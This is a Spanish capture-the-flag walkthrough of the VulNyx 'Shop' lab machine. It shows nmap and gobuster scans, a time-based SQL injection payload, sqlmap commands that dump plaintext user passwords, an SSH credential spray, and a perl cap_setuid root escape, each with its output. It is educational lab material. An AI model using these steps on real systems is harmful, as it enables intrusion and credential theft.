Information

Shop es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 11:54 CEST
Nmap scan report for 192.168.1.102
Host is up (0.00019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
 nmap -sVC -p22,80  192.168.1.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 11:55 CEST
Nmap scan report for 192.168.1.102
Host is up (0.00045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 ce:24:21:a9:2a:9e:70:2a:50:ae:d3:d4:31:ab:01:ba (RSA)
|   256 6b:65:3b:41:b3:63:0b:12:ba:d3:69:ac:14:de:39:7f (ECDSA)
|_  256 04:cb:d9:9b:40:cc:28:58:fc:03:e7:4f:f7:6a:e5:72 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: VulNyx Shop

Shell (bart)

80/TCP (HTTP)

Site (/)

Directory Brute Force
 gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.102/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.102/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 312] [--> http://192.168.1.102/css/]
/js                   (Status: 301) [Size: 311] [--> http://192.168.1.102/js/]
/fonts                (Status: 301) [Size: 314] [--> http://192.168.1.102/fonts/]
/administrator        (Status: 301) [Size: 322] [--> http://192.168.1.102/administrator/]
/server-status        (Status: 403) [Size: 278]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================

Site (/administrator)

Login

En la ruta /administrator encuentro un panel login de administrador

SQL Injection
Error Based

Pruebo con la inyección ' pero no devuelve ningún tipo de error

Time-Based (Blind)

Al probar con la inyección 'or sleep(3)-- - basada en tiempo obtengo éxito

Realizo un login de prueba para ver cómo viaja la data por POST

Databases
 sqlmap -u "http://192.168.1.102/administrator/login.php" --threads 10 --data="username=blabla&password=123456&submit=:Invalid" --dbs --batch --dbms=mysql

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp
Tables
 sqlmap -u "http://192.168.1.102/administrator/login.php" --threads 10 --data="username=blabla&password=123456&submit=:Invalid" -D Webapp --tables --batch --dbms=mysql

Database: Webapp
[1 table]
+-------+
| Users |
+-------+
Columns
 sqlmap -u "http://192.168.1.102/administrator/login.php" --threads 10 --data="username=blabla&password=123456&submit=:Invalid" -D Webapp -T Users --columns --batch --dbms=mysql

Database: Webapp
Table: Users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(6)      |
| password | varchar(32) |
| username | varchar(32) |
+----------+-------------+
Dump
 sqlmap -u "http://192.168.1.102/administrator/login.php" --threads 10 --data="username=blabla&password=123456&submit=:Invalid" -D Webapp -T Users -C username,password --dump --batch --dbms=mysql

Database: Webapp
Table: Users
[4 entries]
+----------+--------------+
| username | password     |
+----------+--------------+
| bart     | b4rtp0w4     |
| liam     | liam@nd3rs0n |
| mike     | mikeblabla   |
| peter    | peter123!    |
+----------+--------------+

22/TCP (SSH)

Password Brute Force

Realizo con netexec fuerza bruta con las credenciales obtenidas en el volcado de la base de datos

 netexec ssh 192.168.1.102 -u users.dic -p pass.dic
SSH         192.168.1.102   22     192.168.1.102    [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
SSH         192.168.1.102   22     192.168.1.102    [+] bart:b4rtp0w4  Linux - Shell access!

Accedo al sistema como usuario bart

 sshpass -p 'b4rtp0w4' ssh bart@192.168.1.102 -o StrictHostKeyChecking=no

bart@shop:~$ id ; hostname
uid=1000(bart) gid=1000(bart) grupos=1000(bart)
shop

Privilege Escalation

Enumeration

Capabilities

El usuario bart dispone de permisos de tipo capabilities sobre el el binario perl

bart@shop:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/perl5.28.1 = cap_setuid+ep
/usr/bin/perl = cap_setuid+ep

Abuse

En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario root

bart@shop:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# bash -i
root@shop:~# id ; hostname
uid=0(root) gid=1000(bart) grupos=1000(bart)
shop

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@shop:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
1c4c****************************
598a****************************

Hasta aquí la resolución de la máquina Shop.

Happy Hacking!